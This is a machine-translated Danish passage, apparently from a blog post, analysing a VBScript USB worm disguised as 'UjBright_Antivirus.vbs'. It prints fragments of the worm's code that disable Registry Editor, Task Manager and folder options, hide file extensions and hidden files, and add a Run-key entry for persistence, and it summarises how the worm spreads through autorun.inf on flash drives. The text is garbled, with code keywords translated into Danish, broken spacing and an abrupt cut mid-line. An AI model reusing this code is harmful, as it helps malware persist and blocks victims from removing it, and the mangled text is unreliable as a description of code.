RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ System \\ DisableRegistryTools ", 1," REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ System \\ DisableTaskMgr ", 1," REG_DWORD "End Med Hvis tf vinder &" \\ UjBright_Antivirus.vbs "Så hvis fso.Getfile (tf) .Drive.IsReady = false Så WScript. Afslut End If WScript.Sleep 10000 Wend Big Scary fil Er det ikke. Nå, ikke helt faktisk. Hvis du har programmeret med scripts tidligere, så det plejer være rigtig svært at få dette.
Efter at have kigget på koden for et stykke tid, jeg regnede hvad det gjorde. Her er det i korte træk: Kontrolleret for flash-drev Kontrolleret hvis autorun, readme & script til stede. Hvis ikke, skriver autorun.inf, kopi af manuskriptet. Skriv den Læs mig Garbage. Skjuler filtypenavne, deaktiverer regedit osv Sleep til 10000 sekunder Så kort var det en fin lille script, der kunne ændres. Du kan se de endelige dele, hvor registreringsdatabasen & opgave krybbe er deaktiveret, er skjulte filer skjult, udvidelser er skjult, etc .
RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ autoMe", "WScript.exe" "" & vind & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Advanced \\ Skjult", 1, "REG_DWORD" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Advanced \\ HideFileExt ", 1," REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Explorer \\ Advanced \\ ShowSuperHidden ", 0," REG_DWORD ".
RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoFolderOptions ", 1," REG_DWORD ".RegWrite" HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoDr
2548 (Top Ny)